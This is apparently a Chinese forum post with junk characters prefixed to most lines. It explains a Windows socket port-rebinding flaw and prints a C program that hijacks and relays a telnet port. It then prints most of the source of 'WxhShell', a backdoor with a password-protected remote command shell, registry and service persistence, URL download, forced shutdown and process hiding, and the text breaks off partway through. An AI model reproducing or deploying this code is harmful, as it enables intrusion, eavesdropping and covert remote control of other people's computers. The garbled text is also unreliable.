在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
n`KY9[0U= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
vv7I_nK? KSL`W2} saddr.sin_family = AF_INET;
v>56~AJ 1eKT^bgM saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Debv4Gr;^ r
:dTz bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
/<3UQLMa 1&2>LE/P 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
> P)w?:k r=4eP(w= 这意味着什么?意味着可以进行如下的攻击:
@WB@]-+J
T nP$9CA 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ElXFeJ%[G s @C}P 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
=Sv/IXX\di |g~ZfnP_% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
o(HbGHIP p#Bi>/C6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Z]ONh t^L]/$q 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
;PH~<T rs.)CMk53 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
o}!PQ#`M cu6Opq9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
DrQ`]]jj7 [gB+C84%% #include
fZ. ONq #include
*](iS #include
l^qI,M #include
~m |BC*) DWORD WINAPI ClientThread(LPVOID lpParam);
nrb Ok4Dz int main()
Yz b XuJ4 {
.u:GjL'$ WORD wVersionRequested;
a
=QCp4^ DWORD ret;
z:;CX@)* WSADATA wsaData;
,s(,S BOOL val;
ZW}_DT0 SOCKADDR_IN saddr;
8_8l.!~ SOCKADDR_IN scaddr;
MPV5P^@X int err;
#F#%`Rv1 SOCKET s;
A's{j7 SOCKET sc;
g){<y~Mk int caddsize;
v1[29t<I! HANDLE mt;
XRH!]! DWORD tid;
:r[`.` wVersionRequested = MAKEWORD( 2, 2 );
wbHb;] err = WSAStartup( wVersionRequested, &wsaData );
`]X>V, if ( err != 0 ) {
kFB printf("error!WSAStartup failed!\n");
vbNBLCwug return -1;
]!
dTG }
PdCEUh\>y saddr.sin_family = AF_INET;
6pzSp s CRdtP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
OH88n69 G9lUxmS< saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7"mc+QOp saddr.sin_port = htons(23);
Zh,71Umz if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
g ?k=^C {
eIlva? printf("error!socket failed!\n");
FtZ?C@1/ return -1;
>bxS3FCX }
-%~4W? val = TRUE;
M{\I8oOg //SO_REUSEADDR选项就是可以实现端口重绑定的
q@&6#B if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
#?E"x/$Y6 {
9FvFhY printf("error!setsockopt failed!\n");
g*Phv|kI return -1;
'7/)Ot( }
+:f"Y0 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
hc1N~$3!G //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
`gJ(0#ac //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
SIllU yr6V3],Tp if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
"zc l|@ {
?CZd Ol ret=GetLastError();
H[gWGbPq7 printf("error!bind failed!\n");
?(PKeq6 return -1;
g\U-VZ6;p }
pI[uUu7O listen(s,2);
phK/ while(1)
|zU-KGO& {
_&x%^&{ caddsize = sizeof(scaddr);
C}X\|J //接受连接请求
n?Q|)2 2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
.N3mb6#[R if(sc!=INVALID_SOCKET)
5bIw?%dk( {
SKtr tm mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
OVJ0}5P* if(mt==NULL)
=vPj%oLp'a {
lk!@? printf("Thread Creat Failed!\n");
=-T]3! break;
;`Z{7'^U }
GVz6-T~\> }
Zc yc*{DS CloseHandle(mt);
*_e3 @g }
N;R^h? ' closesocket(s);
LLI.8kn7 WSACleanup();
43w}qY1 return 0;
>sF)BoLc }
4
:v=pZ DWORD WINAPI ClientThread(LPVOID lpParam)
0a7Ppntb@ {
fOHxtHM SOCKET ss = (SOCKET)lpParam;
5N]"~w* SOCKET sc;
9^x> 3Bo unsigned char buf[4096];
UBs4K*h|
SOCKADDR_IN saddr;
KXrjqqXs long num;
Y@v>FlqI{ DWORD val;
YQ}o?Q$z DWORD ret;
*hrvYil2b //如果是隐藏端口应用的话,可以在此处加一些判断
teP<!RKNb //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
t7pFW^& saddr.sin_family = AF_INET;
C^){.UGmJ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
r^ XVB`v saddr.sin_port = htons(23);
jCY%| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:]"V-1#} {
gIfh3 D=yX printf("error!socket failed!\n");
_GPe<H return -1;
<%^&2UMg }
*i,%,O96Nz val = 100;
Smh,zCc>s if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vI?, 47Hj+ {
[7-?7mp!B ret = GetLastError();
h;Qk@F return -1;
yu|>t4#GT }
>l m&iF3y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
dQvcXl] {
QPx^_jA ret = GetLastError();
:3PH8TL return -1;
rOYx
b }1 }
m~|40) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
;"I^ZFYX {
cK@wsA^4 printf("error!socket connect failed!\n");
"4Nt\WQ closesocket(sc);
+_!QSU,@ closesocket(ss);
\wZe] G%S return -1;
bD^owa }
YUb_y^B^ while(1)
T|$H#n} {
*a)n62 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
,6/V"kqIP //如果是嗅探内容的话,可以再此处进行内容分析和记录
u
+hX //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ZcsZ$qt^ num = recv(ss,buf,4096,0);
b>W%t if(num>0)
R_KH"`q send(sc,buf,num,0);
V#HuIgf- else if(num==0)
im8 CmQ break;
/FII07V num = recv(sc,buf,4096,0);
:s,Z<^5a)g if(num>0)
)BE1Q*=
n send(ss,buf,num,0);
'"^'MXa else if(num==0)
(:_$5&i7 break;
.}t
e>]A* }
ks tIgcI
closesocket(ss);
GdwVtqbX closesocket(sc);
e.C)jv6qr return 0 ;
DXo|.!P=3 }
#E?4E1bnB %>yL1BeA4 >?b!QU*a ==========================================================
#WuBL_nZ~ u,
ff>/1 下边附上一个代码,,WXhSHELL
3]>| i 0sqFF[i ==========================================================
>z03{=sAN w]H->B29C #include "stdafx.h"
sK{e*[I>W 9x8fhAy}4 #include <stdio.h>
'F<TSy|4kI #include <string.h>
sB</DS #include <windows.h>
XSDpRo #include <winsock2.h>
'%qr.T
% #include <winsvc.h>
CAJ'zA|o #include <urlmon.h>
r$1Qf}J3= yevPHN"M #pragma comment (lib, "Ws2_32.lib")
;jXgAAz7 #pragma comment (lib, "urlmon.lib")
*hx vdZW%-A&\ #define MAX_USER 100 // 最大客户端连接数
+z( Lr=G #define BUF_SOCK 200 // sock buffer
eDMO]5}Ht #define KEY_BUFF 255 // 输入 buffer
]lbuy7xj63 eavV?\uV% #define REBOOT 0 // 重启
. vV|hSc #define SHUTDOWN 1 // 关机
|=w@H]r y `UaB3q #define DEF_PORT 5000 // 监听端口
=&]L00u. ^ c<Ve'- #define REG_LEN 16 // 注册表键长度
2HdC |$_+ #define SVC_LEN 80 // NT服务名长度
j^'go&p 8Wx=p#_ // 从dll定义API
%;_MGae typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
%{|p j
+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
\<' ?8ri# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
DF= *_,2/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
CY1Z' +R &gqja // wxhshell配置信息
paK2xX8E struct WSCFG {
Q?vlfZR`8 int ws_port; // 监听端口
TxD#9]Q` char ws_passstr[REG_LEN]; // 口令
2 nCA<& int ws_autoins; // 安装标记, 1=yes 0=no
JI}'dU>*U: char ws_regname[REG_LEN]; // 注册表键名
3$ pX char ws_svcname[REG_LEN]; // 服务名
NOva'qk char ws_svcdisp[SVC_LEN]; // 服务显示名
j_AACq
{. char ws_svcdesc[SVC_LEN]; // 服务描述信息
)2.Si# char ws_passmsg[SVC_LEN]; // 密码输入提示信息
UfGkTwoo= int ws_downexe; // 下载执行标记, 1=yes 0=no
#] QZ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
wj,=$RX char ws_filenam[SVC_LEN]; // 下载后保存的文件名
+whDU2 " q1,~ };
fu5=k:/c A&VG~r$ // default Wxhshell configuration
KPF1cJ2N struct WSCFG wscfg={DEF_PORT,
w>gYx(8b "xuhuanlingzhe",
\dVOwr 1,
v+XJ*N[W "Wxhshell",
%v|B * "Wxhshell",
}tz7b# "WxhShell Service",
[WmM6UEVS "Wrsky Windows CmdShell Service",
iMlWM-wz>O "Please Input Your Password: ",
U/U);frH 1,
icgfB-1|i "
http://www.wrsky.com/wxhshell.exe",
l**X^+=$ "Wxhshell.exe"
dH!*!r> };
6Oq7#3] UNYqft4 // 消息定义模块
#e"[^_C@! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
"sTRS* char *msg_ws_prompt="\n\r? for help\n\r#>";
mt
.sucT char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
@]j1:PN-
char *msg_ws_ext="\n\rExit.";
lN@o2QX char *msg_ws_end="\n\rQuit.";
^c|/*u char *msg_ws_boot="\n\rReboot...";
iTwm3V
P char *msg_ws_poff="\n\rShutdown...";
;pAK_> char *msg_ws_down="\n\rSave to ";
)GpK@R]{ d=(mw_-? char *msg_ws_err="\n\rErr!";
LoV<:|GTI char *msg_ws_ok="\n\rOK!";
occ7zcA
s!J9|]o char ExeFile[MAX_PATH];
R_C) int nUser = 0;
_f83-':W6 HANDLE handles[MAX_USER];
^('wy}; int OsIsNt;
(=0.in Z ~$'awY SERVICE_STATUS serviceStatus;
;l+Leex
SERVICE_STATUS_HANDLE hServiceStatusHandle;
KO [Yi ]gOy(\B // 函数声明
COlqcq'qAu int Install(void);
*@5 @,=d int Uninstall(void);
9;{CIMg& int DownloadFile(char *sURL, SOCKET wsh);
as|<}:V int Boot(int flag);
qX%_uOw:% void HideProc(void);
1zv'.uu., int GetOsVer(void);
:;}P*T*PU int Wxhshell(SOCKET wsl);
?}oFg#m-<L void TalkWithClient(void *cs);
`?]k{ l1R int CmdShell(SOCKET sock);
la!~\wpa int StartFromService(void);
dPlV>IM$z int StartWxhshell(LPSTR lpCmdLine);
T)/eeZ$ CJY$G}rk VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
FrS]|=LJhX VOID WINAPI NTServiceHandler( DWORD fdwControl );
Ui~>SN>s @"A4$`Xi3 // 数据结构和表定义
oR'm2d ^ SERVICE_TABLE_ENTRY DispatchTable[] =
Cdn J&N{ {
+7Gwg {wscfg.ws_svcname, NTServiceMain},
)nkY_'BV {NULL, NULL}
L *wYx| };
J1k>07}| K-v#.e4 // 自我安装
D*jM1w_` int Install(void)
pi(m7Ci" {
Sjqpec8 char svExeFile[MAX_PATH];
9[4xFE?| HKEY key;
Wr
4,YQM strcpy(svExeFile,ExeFile);
XFl6M~ c }bxs]?OW> // 如果是win9x系统,修改注册表设为自启动
dO'(2J8 if(!OsIsNt) {
{: /}NpA$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Txu/{M, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6K^#?Bn; RegCloseKey(key);
Dt@SqX:~Ee if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Nn6%9PX_) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
kiEa<-] RegCloseKey(key);
{7[Ox<Ho return 0;
N2G{<>= }
)=+|i3]U }
5pX6t }
6nn*]|7 else {
itz,mrP ("KF'fp&M2 // 如果是NT以上系统,安装为系统服务
|!ELV7?( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
-).C if (schSCManager!=0)
6ujWNf {
m67V_s,7B SC_HANDLE schService = CreateService
10&8-p1/mc (
4W75T2q# schSCManager,
2?C)& wscfg.ws_svcname,
97Vtn4N3 wscfg.ws_svcdisp,
)%TmAaj9d SERVICE_ALL_ACCESS,
F ,kZU$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
zLQx%Yg! SERVICE_AUTO_START,
}MySaL> SERVICE_ERROR_NORMAL,
?ub35NLa svExeFile,
Pz7XAcPQ( NULL,
X$
D6Ey NULL,
kh<2BOV NULL,
ctQ/wrkU NULL,
:FF=a3/"6 NULL
&{:-]g\ );
gXU8hTd8 if (schService!=0)
u8^lB7!e/ {
`[A];] CloseServiceHandle(schService);
*CMx- _ CloseServiceHandle(schSCManager);
BT$_@%ea& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
t20K!}D_ strcat(svExeFile,wscfg.ws_svcname);
TeQV?ZQ#} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
xdPx{"C
3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
DU^loB+ RegCloseKey(key);
BtZ yn7a return 0;
l (o~-i\M }
_1^'(5f$ }
u*R_\*j@ CloseServiceHandle(schSCManager);
c-w)|-ac. }
z:O8Ls^\T }
pg.%Pdr<$ ]e3Ax(i) return 1;
DG/Pb)%Y
}
okXl8&mi 9WHddDA // 自我卸载
HW|IILFB int Uninstall(void)
[
~,AfY {
7)m9"InDI HKEY key;
b>k y M|-)GvR$J if(!OsIsNt) {
N`i/mP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`oJ [u:b RegDeleteValue(key,wscfg.ws_regname);
2%1hdA< RegCloseKey(key);
pAEx#ck if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~[: 2I RegDeleteValue(key,wscfg.ws_regname);
Dq xs+ RegCloseKey(key);
s2?&! return 0;
L];b<*d }
rQX zR }
|ZBw<f }
*:1ey{w: else {
YIE<pX4Q7) 9uY'E'm* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Tw%
3p= if (schSCManager!=0)
rNM;ZPF# {
?%86/N> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
oU|c.mYe if (schService!=0)
6zkaOA46V {
=41xkAMnk if(DeleteService(schService)!=0) {
$kgVa^ CloseServiceHandle(schService);
e!`i3KYn" CloseServiceHandle(schSCManager);
l6B@qYLZ return 0;
R]dg_Da }
^aQ"E9 CloseServiceHandle(schService);
l:%GH }
NI5``BwpO CloseServiceHandle(schSCManager);
fM}#ON>Z }
E]6
6]+;0_ }
Bx!-"e l%ZhA=TKQ return 1;
J1kM\8%b\ }
IID5c"
oR wBzC5T%, // 从指定url下载文件
67TwPvh int DownloadFile(char *sURL, SOCKET wsh)
fVwUe _Y {
f::Dx1VcX HRESULT hr;
'yth'[ char seps[]= "/";
B *vM0 char *token;
$(9U @N9E char *file;
E4!Fupkpf char myURL[MAX_PATH];
\jA~9 char myFILE[MAX_PATH];
.543N<w ~
1 pr~ strcpy(myURL,sURL);
S'14hk< token=strtok(myURL,seps);
x"(KBEK~ while(token!=NULL)
+V+a4lU14 {
z~Q)/d,Ac file=token;
P4?glh q# token=strtok(NULL,seps);
ddo#P%sH' }
-N@|QK> -/k 3a*$/ GetCurrentDirectory(MAX_PATH,myFILE);
&~!Wym strcat(myFILE, "\\");
}%z strcat(myFILE, file);
aT<q=DO send(wsh,myFILE,strlen(myFILE),0);
"ta x? send(wsh,"...",3,0);
"j-CZ\]U| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
r/sNrB1U"y if(hr==S_OK)
U&xUfBDt return 0;
H-%v3d>3 else
nm+s{ return 1;
G`zm@QL ]?)TdJ` }
<Qq*p C>~TI,5a3 // 系统电源模块
/> Nt[o[r int Boot(int flag)
s(^mZ
-i {
R4@6G&2d> HANDLE hToken;
b\ PgVBf9 TOKEN_PRIVILEGES tkp;
@KA4N` ':}\4j&{E if(OsIsNt) {
2Hdu:"j OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
]d`VT)~vje LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
f-d1KNY tkp.PrivilegeCount = 1;
|' . tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
uocGbi:V'; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
8[>zG2 if(flag==REBOOT) {
W`&hp6Jq if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
L(o15 return 0;
6,uX,X5 }
?8 {"x8W; else {
m3ff;, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
4sM.C9W return 0;
Mq8L0%j }
0ksa }
?}7p"3j'z else {
<| &Npd' if(flag==REBOOT) {
66 Tpi![ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
7?t6UPf return 0;
gJhiGYx }
f X)#=c|5 else {
Gy)@Is9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
'2O\_Uz return 0;
p8Q1-T3v }
Gc!x|V;T }
f-2c0Bi tjnIN?YT return 1;
80;(Gt@<" }
}`"6aM PVOv[% // win9x进程隐藏模块
Vg23!E void HideProc(void)
- YV>j {
.mAjfP* G\?YK.Y> HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
"]iB6 if ( hKernel != NULL )
ipILG4 {
kW (Bkuc) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
j7c3(*Pl ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
L-\GHu~) FreeLibrary(hKernel);
go"Hf_ }
Ru~j,|0r4 d[35d J7F return;
= f i$}>\ }
Z/K{A` sC ;+F*0g // 获取操作系统版本
NCx%L-GPi int GetOsVer(void)
L6LZC2N+2 {
H.2QKws^F OSVERSIONINFO winfo;
KdlQ!5(?X winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
LDD|(KLR*. GetVersionEx(&winfo);
UDni]P!E if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
l+R+&b^ return 1;
y Wya&|D9 else
gO^gxJ'0t return 0;
=ruao'A }
_y>~
yZx /=, nGk> // 客户端句柄模块
"vslZ`RU int Wxhshell(SOCKET wsl)
Q|L~=9 {
wT\49DT"7 SOCKET wsh;
j+(I"h3 struct sockaddr_in client;
_~
&iq1 DWORD myID;
<9%R\_@$H j)GtEP<n# while(nUser<MAX_USER)
2Gdd*=4z {
@vB!u[{ int nSize=sizeof(client);
`KQvJjA6 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
4H-'Dr=G if(wsh==INVALID_SOCKET) return 1;
Tqk\XILG N iyp=lLk handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
yA>nli= if(handles[nUser]==0)
z~Q>V]a>; closesocket(wsh);
S+2(f> Z else
h*Pc=/p nUser++;
&f;K}WO }
,iq4Iw WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
#V}IvQl| p^u:&Quac return 0;
4g7)i L^#~ }
O#u=c1
?: ,u
g@f-T // 关闭 socket
AFfAtu void CloseIt(SOCKET wsh)
0AV c {
2dzrRH closesocket(wsh);
A= {UL nUser--;
p6WX9\qS( ExitThread(0);
6i*sm.SDw }
4,0{7MLgK ;Q&5,<
N)j // 客户端请求句柄
*|E[L^ void TalkWithClient(void *cs)
XS BA$y {
uOGw9O-d9 ilva,WFa^ SOCKET wsh=(SOCKET)cs;
fg{n(TE"8 char pwd[SVC_LEN];
W"3ph6[eW char cmd[KEY_BUFF];
"x /OIf char chr[1];
_Y[bMuUb= int i,j;
[66!bM& uXq.
]ub while (nUser < MAX_USER) {
9<)NvU^-r (Clkv if(wscfg.ws_passstr) {
4 N7^? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
eNu7~3k} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Jdp3nzM^^@ //ZeroMemory(pwd,KEY_BUFF);
:Xd<74Nu i=0;
.y,0[i V
N while(i<SVC_LEN) {
~| 6[j<ziL K}U-w:{ // 设置超时
WSY}d
Vr fd_set FdRead;
PAOJ\U struct timeval TimeOut;
SC])?h-Fw FD_ZERO(&FdRead);
zZC9\V}R FD_SET(wsh,&FdRead);
V,?yPi$#E TimeOut.tv_sec=8;
-FlzEZ TimeOut.tv_usec=0;
"2T#MO/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
bnLPlf if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
kn"(A.R mo#04;VF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
bD8Gwi=iiu pwd
=chr[0]; P_#bow
if(chr[0]==0xd || chr[0]==0xa) { l?^4!&Nm
pwd=0; t>B;w14
break; <kd1Nrr!p
} SG4%}wn%
i++; BIWWMg
} P_p<`sC9
)D82N`c2\i
// 如果是非法用户,关闭 socket M+9 gL3W
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #`X?=/q
} ApXy=?fc
f8.gT49I
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G<^{&E+=
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MO <3"@/,
NS6:yX,/
while(1) { mcX/GO}
9lDhIqx0~
ZeroMemory(cmd,KEY_BUFF); =+?7''{>
r_;Nt
// 自动支持客户端 telnet标准 =6|&Jt
j=0; g^ i&gNDx
while(j<KEY_BUFF) { ;
p {[1
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _W'-+,
cmd[j]=chr[0]; \A6B,|@
if(chr[0]==0xa || chr[0]==0xd) { :'&brp3ii=
cmd[j]=0; Zdo'{ $
break; HuKc9U'7A
} yD6[\'%
j++; gy9U2Wgf|
} _1L![-ac
}:*]aL<7_
// 下载文件 x*&|0n.D
if(strstr(cmd,"http://")) { Ziu]'#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); nSAdCJ;4
if(DownloadFile(cmd,wsh)) RTJ3qhY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fCobzDy
else 3%;a)c;D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ([LSsZ]sj
} 4u47D$=
else { ["e3Ez
U\<?z Dw
switch(cmd[0]) { 7y@Pa&^8
WYYa/,{9.
// 帮助 )$bS}.
case '?': { do+.aOC
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kO*$"w#X[p
break; n%s]30Xs
} "?I y (*^
// 安装
2WVka
case 'i': { (<oyN7NT
if(Install()) cFnDmtI:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l.bYE/F0&
else pWsDzb6?%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fG(SNNl+D
break; TNh1hhJ$b
} #PQB(=299P
// 卸载 8j\cL'
case 'r': { \:ak ''
if(Uninstall()) |(LZ9I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dg"3rs /?A
else J9iy
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X;c'[q
break; o/Q;f@
} !pdb'*,n
// 显示 wxhshell 所在路径 KOuCHqCfq
case 'p': { p\ZNy\N^
char svExeFile[MAX_PATH]; s;vHPUB\n
strcpy(svExeFile,"\n\r"); vf%&4\ib
strcat(svExeFile,ExeFile); I4q9|'-yx
send(wsh,svExeFile,strlen(svExeFile),0); ,lA s
break; 6@0OQb
} Fv<F}h? 6
// 重启 CxG#"{&
case 'b': { 6WJ)by
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "Yj'oE%\
if(Boot(REBOOT)) aAMVsE{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C-MjJ6D<
else { zvH8^1yzG
closesocket(wsh); :Ab%g-
ExitThread(0); 2=`o_<P'"
} 04l!:Tp,
break; *P2S6z2
} ],a 5)kV
// 关机 B%76rEpvW;
case 'd': { emPM4iG?!
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B1C-J/J
if(Boot(SHUTDOWN)) d]6#m'U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #& Rw&
else { .1Al<OLL
closesocket(wsh); [t@Mn
ExitThread(0); &wCg\j_c
} K[r^'P5m
break; _JE"{ ;
} b@f$nS
B
// 获取shell '*w00
case 's': { CtAwBQO
CmdShell(wsh); [knN:{ l
closesocket(wsh); r^paD2&}
ExitThread(0); ~%=MpQ3
break; 5r8<7g:>C
} q~ZNd3O
// 退出 pd;br8yE$@
case 'x': { i?g5_HI
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K&70{r
CloseIt(wsh); k!HK 97qA
break; )ZqTwEr@[
} -pGE]nwDL
// 离开 Y>G@0r BG
case 'q': { ,TN
2
send(wsh,msg_ws_end,strlen(msg_ws_end),0); w6GyBo{2O_
closesocket(wsh); cm[&?
WSACleanup(); Dq5j1m.
exit(1); FrYqaP
break; p@5`&Em,
} vchm"p?9)
} uPG4V2
} ^,_w$H
Md2>3-
// 提示信息 khrb-IY@
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DB:+E|vSD
} /.M N
}
!0@Yplj
U4-g^S[
return; Z99>5\k
} D.Q=]jOs
M#VE ]J
// shell模块句柄 /ZPyN<@
int CmdShell(SOCKET sock) `~Zs0
{ _:C9{aEZb
STARTUPINFO si; DhT>']Z
ZeroMemory(&si,sizeof(si)); v` 7RCg`
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ie\"$i.98H
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PCM-i{6/
PROCESS_INFORMATION ProcessInfo; Ry K\uv
char cmdline[]="cmd"; -~ Mb
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5Z\#0":e
return 0; ws|;`
} L>%o[tS
^1aAjYFn
// 自身启动模式 ReI/]#Us
int StartFromService(void) Hp|_6hO 2
{ 4 G-wd
typedef struct "a"]o
{ qI<mjB{3`
DWORD ExitStatus; #=f?0UTA
DWORD PebBaseAddress; >wBJy4:
DWORD AffinityMask; V=V:SlS9|
DWORD BasePriority; (?{MEwHG
